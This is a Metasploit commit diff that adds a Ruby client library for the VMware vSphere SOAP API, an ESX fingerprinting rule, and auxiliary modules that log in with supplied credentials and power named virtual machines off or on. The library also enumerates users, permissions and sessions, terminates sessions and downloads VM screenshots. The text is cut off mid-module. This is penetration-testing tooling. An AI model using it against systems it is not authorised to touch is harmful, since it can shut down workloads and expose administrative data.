commit
e0a75c1b2c
|
@ -64,6 +64,12 @@ module OperatingSystems
|
|||
FREEBSD = "FreeBSD"
|
||||
NETBSD = "NetBSD"
|
||||
OPENBSD = "OpenBSD"
|
||||
VMWARE = "VMware"
|
||||
|
||||
module VmwareVersions
|
||||
ESX = "ESX"
|
||||
ESXI = "ESXi"
|
||||
end
|
||||
|
||||
module WindowsVersions
|
||||
NT = "NT"
|
||||
|
|
|
@ -0,0 +1,728 @@
|
|||
module Msf
|
||||
|
||||
module Exploit::Remote::VIMSoap
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def vim_soap_envelope(body)
|
||||
soap_data = '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
|
||||
soap_data << '<env:Body>'
|
||||
soap_data << body
|
||||
soap_data << '</env:Body></env:Envelope>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_propset(type,path,all = false)
|
||||
soap_data = '<propSet xsi:type="PropertySpec">'
|
||||
soap_data << '<type>' + type + '</type>'
|
||||
if all
|
||||
soap_data << '<all>true</all>'
|
||||
else
|
||||
soap_data << '<pathSet>' + path + '</pathSet>'
|
||||
end
|
||||
soap_data << '</propSet>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_objset(type, ref)
|
||||
soap_data = '<objectSet>'
|
||||
soap_data << '<obj type="' + type + '">' + ref + '</obj>'
|
||||
soap_data << '</objectSet>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_specset(path,type,ref,all=false)
|
||||
soap_data = '<specSet>'
|
||||
soap_data << vim_soap_propset(type,path,all)
|
||||
soap_data << vim_soap_objset(type,ref)
|
||||
soap_data << '</specSet>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_retrieve_properties(path,type,ref,all=false)
|
||||
soap_data = '<RetrieveProperties xmlns="urn:vim25">'
|
||||
soap_data << '<_this type="PropertyCollector">' + @server_objects['propertyCollector'] + '</_this>'
|
||||
soap_data << vim_soap_specset(path,type,ref,all)
|
||||
soap_data << '</RetrieveProperties>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_retrieve_service_content
|
||||
soap_data = '<RetrieveServiceContent xmlns="urn:vim25">'
|
||||
soap_data << '<_this type="ServiceInstance">ServiceInstance</_this>'
|
||||
soap_data << '</RetrieveServiceContent>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_login(user,pass)
|
||||
soap_data = '<Login xmlns="urn:vim25">'
|
||||
soap_data << '<_this type="SessionManager">' + @server_objects['sessionManager'] + '</_this>'
|
||||
soap_data << '<userName>' + user + '</userName>'
|
||||
soap_data << '<password>' + pass + '</password>'
|
||||
soap_data << '</Login>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_session_active?(key, user)
|
||||
soap_data = '<SessionIsActive xmlns="urn:vim25">'
|
||||
soap_data << '<_this type="SessionManager">' + @server_objects['sessionManager'] + '</_this>'
|
||||
soap_data << '<sessionID>' + key+ '</sessionID>'
|
||||
soap_data << '<userName>' + user + '</userName>'
|
||||
soap_data << '</SessionIsActive>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
def vim_soap_terminate_session(key)
|
||||
soap_data = '<TerminateSession xmlns="urn:vim25">'
|
||||
soap_data << '<_this xsi:type="ManagedObjectReference" type="SessionManager" >' + @server_objects['sessionManager'] + '</_this>'
|
||||
soap_data << '<sessionId>' + key + '</sessionId>'
|
||||
soap_data << '</TerminateSession>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_retrieve_usergroups(domain=nil)
|
||||
soap_data = '<RetrieveUserGroups xmlns="urn:internalvim25">'
|
||||
soap_data << '<_this xsi:type="ManagedObjectReference" type="UserDirectory">' + @server_objects['userDirectory'] + '</_this>'
|
||||
soap_data << '<domain>' + domain + '</domain>' if domain
|
||||
soap_data << '<searchStr></searchStr><exactMatch>false</exactMatch><findUsers>true</findUsers><findGroups>true</findGroups>'
|
||||
soap_data << '</RetrieveUserGroups>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_log_user_event_vm(vm_ref,msg)
|
||||
soap_data = '<LogUserEvent xmlns="urn:vim25">'
|
||||
soap_data << '<_this type="EventManager">' + @server_objects['eventManager'] + '</_this>'
|
||||
soap_data << '<entity type="VirtualMachine">' + vm_ref + '</entity>'
|
||||
soap_data << '<msg>' + msg + '</msg>'
|
||||
soap_data << '</LogUserEvent>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_retrieve_all_permissions
|
||||
soap_data = '<RetrieveAllPermissions xmlns="urn:vim25">'
|
||||
soap_data << '<_this type="AuthorizationManager">' + @server_objects['authorizationManager'] + '</_this>'
|
||||
soap_data << '</RetrieveAllPermissions>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_find_child_byname(type,entity,name)
|
||||
soap_data = '<FindChild xmlns="urn:vim25">'
|
||||
soap_data << '<_this type="SearchIndex">' + @server_objects['searchIndex'] + '</_this>'
|
||||
soap_data << '<entity type="' + type + '">' + entity + '</entity>'
|
||||
soap_data << '<name>' + name + '</name>'
|
||||
soap_data << '</FindChild>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_power_on_vm(vm_ref)
|
||||
soap_data = '<PowerOnVM_Task xmlns="urn:vim25">'
|
||||
soap_data << '<_this type="VirtualMachine">' + vm_ref + '</_this>'
|
||||
soap_data << '</PowerOnVM_Task>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_power_off_vm(vm_ref)
|
||||
soap_data = '<PowerOffVM_Task xmlns="urn:vim25">'
|
||||
soap_data << '<_this type="VirtualMachine">' + vm_ref + '</_this>'
|
||||
soap_data << '</PowerOffVM_Task>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_soap_create_screenshot(vm_ref)
|
||||
soap_data = '<CreateScreenshot_Task xmlns="urn:vim25">'
|
||||
soap_data << '<_this type="VirtualMachine">' + vm_ref + '</_this>'
|
||||
soap_data << '</CreateScreenshot_Task>'
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_send_soap_request(soap_data)
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sdk',
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'cookie' => @vim_cookie,
|
||||
'data' => soap_data,
|
||||
'headers' => { 'SOAPAction' => @soap_action}
|
||||
}, 25)
|
||||
return :noresponse unless res
|
||||
if res.body.include? "NotAuthenticatedFault"
|
||||
return :expired
|
||||
elsif res.body.include? "<faultstring>"
|
||||
@vim_soap_error = res.body.match(/<faultstring>([^\c ]+?)<\/faultstring>/)[1]
|
||||
return :error
|
||||
elsif res.code != 200
|
||||
@vim_soap_error = "An unknown error was encountered"
|
||||
return :error
|
||||
else
|
||||
return Hash.from_xml(res.body)['Envelope']['Body']
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_session
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_service_content)
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sdk',
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'data' => soap_data
|
||||
}, 25)
|
||||
return false unless res and res.code == 200
|
||||
@server_objects = Hash.from_xml(res.body)['Envelope']['Body']['RetrieveServiceContentResponse']['returnval']
|
||||
@soap_action = "urn:vim25/#{@server_objects['about']['apiVersion']}"
|
||||
if res.headers['Set-Cookie']
|
||||
@vim_cookie = res.headers['Set-Cookie']
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_do_login(user, pass)
|
||||
unless vim_get_session
|
||||
return false
|
||||
end
|
||||
soap_data = vim_soap_envelope(vim_soap_login(user,pass))
|
||||
res = send_request_cgi({
|
||||
'uri' => '/sdk',
|
||||
'method' => 'POST',
|
||||
'agent' => 'VMware VI Client',
|
||||
'cookie' => @vim_cookie,
|
||||
'data' => soap_data,
|
||||
'headers' => { 'SOAPAction' => @soap_action}
|
||||
}, 25)
|
||||
if res.code == 200
|
||||
return :success
|
||||
else
|
||||
return :fail
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_session_list
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('sessionList','SessionManager', @server_objects['sessionManager']))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
session_list = []
|
||||
session_list << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['UserSession']
|
||||
return session_list.flatten.compact
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_session_is_active(key, username)
|
||||
soap_data = vim_soap_envelope(vim_soap_session_active?(key,username))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
active = res['SessionIsActiveResponse']['returnval']
|
||||
return active
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_terminate_session(key)
|
||||
soap_data = vim_soap_envelope(vim_soap_terminate_session(key))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
return :success
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_domains
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('domainList', 'UserDirectory', @server_objects['userDirectory']))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
domains = []
|
||||
domains << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['string']
|
||||
return domains.flatten.compact
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_user_list(domain=nil)
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_usergroups(domain))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
return nil unless res['RetrieveUserGroupsResponse']['returnval']
|
||||
user_list = []
|
||||
user_list << res['RetrieveUserGroupsResponse']['returnval']
|
||||
return user_list.flatten.compact
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_log_event_vm(vm_ref, msg)
|
||||
soap_data = vim_soap_envelope(vim_soap_log_user_event_vm(vm_ref,msg))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
return :success
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_all_permissions
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_all_permissions)
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
permissions = []
|
||||
permissions << res['RetrieveAllPermissionsResponse']['returnval']
|
||||
return permissions.flatten.compact
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_roles
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('roleList', 'AuthorizationManager', @server_objects['authorizationManager']))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
roles = []
|
||||
roles << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['AuthorizationRole']
|
||||
return roles.flatten.compact
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_dc_name(dc)
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('name','Datacenter',dc))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
return res['RetrievePropertiesResponse']['returnval']['propSet']['val']
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def vim_get_dcs
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_service_content)
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
@server_objects.merge!(res['RetrieveServiceContentResponse']['returnval'])
|
||||
else
|
||||
return res
|
||||
end
|
||||
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('content', 'ServiceInstance', 'ServiceInstance'))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val']
|
||||
hash.delete('xsi:type')
|
||||
@server_objects.merge!(hash)
|
||||
else
|
||||
return res
|
||||
end
|
||||
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder', @server_objects['rootFolder']))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
tmp_dcs = []
|
||||
tmp_dcs << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
|
||||
tmp_dcs.flatten!
|
||||
tmp_dcs.each{|dc| @dcs << { 'name' => vim_get_dc_name(dc) , 'ref' => dc}}
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_hosts(datacenter)
|
||||
dc_hosts = []
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('hostFolder', 'Datacenter' , datacenter))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
host_folders = []
|
||||
host_folders << res['RetrievePropertiesResponse']['returnval']['propSet']['val']
|
||||
host_folders.flatten!
|
||||
else
|
||||
return res
|
||||
end
|
||||
|
||||
compute_refs = []
|
||||
host_folders.each do |folder|
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder' , folder))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
ref = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
|
||||
unless ref.nil?
|
||||
compute_refs << ref
|
||||
end
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
compute_refs.flatten!
|
||||
|
||||
compute_refs.each do |ref|
|
||||
next if ref.start_with? "group-"
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('host', 'ComputeResource' , ref))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
dc_hosts << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
dc_hosts.flatten!
|
||||
return dc_hosts
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_all_hosts
|
||||
@dcs.each{|dc| @hosts << vim_get_hosts(dc['ref'])}
|
||||
@hosts.flatten!
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_host_hw(host)
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('hardware', 'HostSystem' , host))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
return res['RetrievePropertiesResponse']['returnval']['propSet']['val']
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
def vim_get_all_host_summary(hw=false)
|
||||
vim_setup_references
|
||||
summaries = []
|
||||
@hosts.each do |host|
|
||||
details = {}
|
||||
details[host] = vim_get_host_summary(host)
|
||||
if details and hw
|
||||
details.merge!(vim_get_host_hw(host))
|
||||
end
|
||||
summaries << details
|
||||
end
|
||||
return summaries.flatten.compact
|
||||
end
|
||||
|
||||
def vim_get_vm_datastore(vm)
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('datastore', 'VirtualMachine' , vm))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
datastore_refs = []
|
||||
datastore_refs << res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
|
||||
datastore_refs.flatten!
|
||||
datastore_refs.compact!
|
||||
datastores = []
|
||||
else
|
||||
return res
|
||||
end
|
||||
|
||||
datastore_refs.each do |datastore_ref|
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Datastore' , datastore_ref))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
datastore_name = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['name']
|
||||
datastore = { 'name' => datastore_name, 'ref' => datastore_ref}
|
||||
datastores << datastore
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
return datastores
|
||||
|
||||
end
|
||||
|
||||
def vim_find_vm_by_name(name)
|
||||
vim_setup_references
|
||||
@dcs.each do |dc|
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('vmFolder', 'Datacenter' , dc['ref']))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
vm_folders = []
|
||||
vm_folders << res['RetrievePropertiesResponse']['returnval']['propSet']['val']
|
||||
vm_folders.flatten!
|
||||
vm_folders.compact!
|
||||
else
|
||||
return res
|
||||
end
|
||||
|
||||
|
||||
vm_folders.each do |vm_folder|
|
||||
soap_data = vim_soap_envelope(vim_soap_find_child_byname('Folder', vm_folder, name))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
vmref = res['FindChildResponse']['returnval']
|
||||
if vmref
|
||||
return vmref
|
||||
else
|
||||
next
|
||||
end
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
end
|
||||
return nil
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_powerON_vm(vm_ref)
|
||||
soap_data = vim_soap_envelope(vim_soap_power_on_vm(vm_ref))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
task_id = res['PowerOnVM_TaskResponse']['returnval']
|
||||
else
|
||||
return res
|
||||
end
|
||||
|
||||
state= "running"
|
||||
while state == "running"
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state']
|
||||
case state
|
||||
when 'running'
|
||||
select(nil, nil, nil, 5)
|
||||
when 'error'
|
||||
if res['RetrievePropertiesResponse']['returnval']['propSet']['val']['error']['fault']['existingState'] == 'poweredOn'
|
||||
return 'alreadyON'
|
||||
end
|
||||
end
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
return state
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_powerOFF_vm(vm_ref)
|
||||
soap_data = vim_soap_envelope(vim_soap_power_off_vm(vm_ref))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
task_id = res['PowerOffVM_TaskResponse']['returnval']
|
||||
else
|
||||
return res
|
||||
end
|
||||
|
||||
state= "running"
|
||||
while state == "running"
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state']
|
||||
case state
|
||||
when 'running'
|
||||
select(nil, nil, nil, 5)
|
||||
when 'error'
|
||||
if res['RetrievePropertiesResponse']['returnval']['propSet']['val']['error']['fault']['existingState'] == 'poweredOn'
|
||||
return 'alreadyON'
|
||||
end
|
||||
end
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
return state
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_take_screenshot(vm, user, pass)
|
||||
soap_data = vim_soap_envelope(vim_soap_create_screenshot(vm['ref']))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
task_id = res['CreateScreenshot_TaskResponse']['returnval']
|
||||
else
|
||||
return res
|
||||
end
|
||||
|
||||
state= "running"
|
||||
while state == "running"
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('info', 'Task', task_id))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
state = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['state']
|
||||
screenshot_file = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['result']
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
unless screenshot_file
|
||||
return :error
|
||||
end
|
||||
(ss_folder, ss_file) = screenshot_file.split('/').last(2)
|
||||
ss_folder = Rex::Text.uri_encode(ss_folder)
|
||||
ss_file = Rex::Text.uri_encode(ss_file)
|
||||
ss_path = "#{ss_folder}/#{ss_file}"
|
||||
datastores = vim_get_vm_datastore(vm['ref'])
|
||||
user_pass = Rex::Text.encode_base64(user + ":" + pass)
|
||||
datastores.each do |datastore|
|
||||
ss_uri = "/folder/#{ss_path}?dcPath=#{vm['dc_name']}&dsName=#{datastore['name']}"
|
||||
res = send_request_cgi({
|
||||
'uri' => ss_uri,
|
||||
'method' => 'GET',
|
||||
'agent' => 'VMware VI Client',
|
||||
'cookie' => @vim_cookie,
|
||||
'headers' => { 'Authorization' => "Basic #{user_pass}"}
|
||||
}, 25)
|
||||
next unless res
|
||||
if res.code == 200
|
||||
return res.body
|
||||
elsif res.code == 404
|
||||
next
|
||||
end
|
||||
end
|
||||
return :error
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_host_summary(host)
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('summary', 'HostSystem', host))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val']
|
||||
hash['runtime'].delete('healthSystemRuntime')
|
||||
hash.delete('xsi:type')
|
||||
hash.delete('host')
|
||||
return hash
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_vms
|
||||
vim_setup_references
|
||||
@vmrefs = []
|
||||
vmlist= []
|
||||
@dcs.each do |dc|
|
||||
dc_vm_refs = vim_get_dc_vms(dc['ref'])
|
||||
next if dc_vm_refs.nil? or dc_vm_refs.empty?
|
||||
dc_vm_refs.flatten!
|
||||
dc_vm_refs.compact!
|
||||
next if dc_vm_refs.nil? or dc_vm_refs.empty?
|
||||
print_status "#{datastore['RHOST']} - DataCenter: #{dc['name']} Found a Total of #{dc_vm_refs.length} VMs"
|
||||
print_status "#{datastore['RHOST']} - DataCenter: #{dc['name']} Estimated Time: #{((dc_vm_refs.length * 7) /60)} Minutes"
|
||||
dc_vm_refs.each do |ref|
|
||||
print_status "#{datastore['RHOST']} - DataCenter: #{dc['name']} - Getting Data for VM: #{ref}..."
|
||||
details = vim_get_vm_info(ref)
|
||||
if details
|
||||
details['ref'] = ref
|
||||
details['dc_ref'] = dc['ref']
|
||||
details['dc_name'] = dc['name']
|
||||
vmlist << details
|
||||
end
|
||||
end
|
||||
end
|
||||
return vmlist
|
||||
end
|
||||
|
||||
|
||||
|
||||
def vim_get_dc_vms(datacenter)
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('vmFolder', 'Datacenter', datacenter))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
vmfolder = res['RetrievePropertiesResponse']['returnval']['propSet']['val']
|
||||
else
|
||||
return res
|
||||
end
|
||||
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('childEntity', 'Folder', vmfolder))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
vm_index_array = res['RetrievePropertiesResponse']['returnval']['propSet']['val']['ManagedObjectReference']
|
||||
vm_index_array.delete_if{|ref| ref.start_with? "group"} unless vm_index_array.nil? or vm_index_array.empty?
|
||||
return vm_index_array
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
def vim_get_vm_info(vm_ref)
|
||||
vim_setup_references
|
||||
soap_data = vim_soap_envelope(vim_soap_retrieve_properties('summary', 'VirtualMachine', vm_ref))
|
||||
res = vim_send_soap_request(soap_data)
|
||||
if res.class == Hash
|
||||
hash = res['RetrievePropertiesResponse']['returnval']['propSet']['val']
|
||||
vm = hash['config']
|
||||
vm['runtime'] = hash['runtime']
|
||||
vm['guest'] = hash['guest']
|
||||
vm['quickStats'] = hash['quickStats']
|
||||
return vm
|
||||
else
|
||||
return res
|
||||
end
|
||||
end
|
||||
|
||||
def vim_logged_in?
|
||||
return true if @vim_cookie
|
||||
return false
|
||||
end
|
||||
|
||||
def vim_instance_vars_set?
|
||||
return false if @server_objects.nil? or @server_objects.empty?
|
||||
return false if @host.nil? or @host.empty?
|
||||
return true
|
||||
end
|
||||
|
||||
def vim_setup_references
|
||||
unless vim_instance_vars_set?
|
||||
@dcs = []
|
||||
@hosts = []
|
||||
vim_get_dcs
|
||||
vim_get_all_hosts
|
||||
@hosts.flatten!
|
||||
@hosts.compact!
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
|
@ -685,6 +685,16 @@ class Host < ActiveRecord::Base
|
|||
wtype['server'] = wtype['server'].to_i + points
|
||||
end # End of s.info for SMTP
|
||||
|
||||
when 'https'
|
||||
points = 101
|
||||
case s.info
|
||||
when /(VMware\s(ESXi?)).*\s([\d\.]+)/
|
||||
# Very reliable fingerprinting from our own esx_fingerprint module
|
||||
wname[$1] = wname[$1].to_i + (points * 5)
|
||||
wflav[$3] = wflav[$3].to_i + (points * 5)
|
||||
wtype['device'] = wtype['device'].to_i + points
|
||||
end # End of s.info for HTTPS
|
||||
|
||||
when 'netbios'
|
||||
points = 201
|
||||
case s.info
|
||||
|
|
|
@ -0,0 +1,74 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/vim_soap'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Power Off Virtual Machine',
|
||||
'Description' => %Q{
|
||||
This module will log into the Web API of VMWare and try to power off
|
||||
a specified Virtual Machine.},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptString.new('VM', [true, "The VM to try to Power Off"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
vm_ref = vim_find_vm_by_name(datastore['VM'])
|
||||
case vm_ref
|
||||
when String
|
||||
return_state = vim_powerOFF_vm(vm_ref)
|
||||
case return_state
|
||||
when 'success'
|
||||
print_good "VM Powered Off Successfully"
|
||||
when 'alreadyOFF'
|
||||
print_status "The Server says that VM #{datastore['VM']} is already off."
|
||||
else
|
||||
print_error "The server returned an unexpected status #{return_state}"
|
||||
end
|
||||
when :noresponse
|
||||
print_error "The request timed out"
|
||||
when :error
|
||||
print_error @vim_soap_error
|
||||
when nil
|
||||
print_error "Could not locate VM #{datastore['VM']}"
|
||||
end
|
||||
else
|
||||
print_error "Login Failure on #{datastore['RHOST']}"
|
||||
return
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
|
@ -0,0 +1,75 @@
|
|||
##
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# Framework web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/framework/
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/vim_soap'
|
||||
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Exploit::Remote::VIMSoap
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'VMWare Power On Virtual Machine',
|
||||
'Description' => %Q{
|
||||
This module will log into the Web API of VMWare and try to power on
|
||||
a specified Virtual Machine.},
|
||||
'Author' => ['TheLightCosine <thelightcosine[at]metasploit.com>'],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(443),
|
||||
OptString.new('USERNAME', [ true, "The username to Authenticate with.", 'root' ]),
|
||||
OptString.new('PASSWORD', [ true, "The password to Authenticate with.", 'password' ]),
|
||||
OptString.new('VM', [true, "The VM to try to Power On"])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run
|
||||
|
||||
if vim_do_login(datastore['USERNAME'], datastore['PASSWORD']) == :success
|
||||
vm_ref = vim_find_vm_by_name(datastore['VM'])
|
||||
case vm_ref
|
||||
when String
|
||||
return_state = vim_powerON_vm(vm_ref)
|
||||
case return_state
|
||||
when 'success'
|
||||
print_good "VM Powered On Successfully"
|
||||
when 'alreadyON'
|
||||
print_status "The Server says that VM #{datastore['VM']} is already on."
|
||||
else
|
||||
print_error "The server returned an unexpected status #{return_state}"
|
||||
end
|
||||
when :noresponse
|
||||
print_error "The request timed out"
|
||||
when :error
|
||||
print_error @vim_soap_error
|
||||
when nil
|
||||
print_error "Could not locate VM #{datastore['VM']}"
|
||||
end
|
||||
else
|
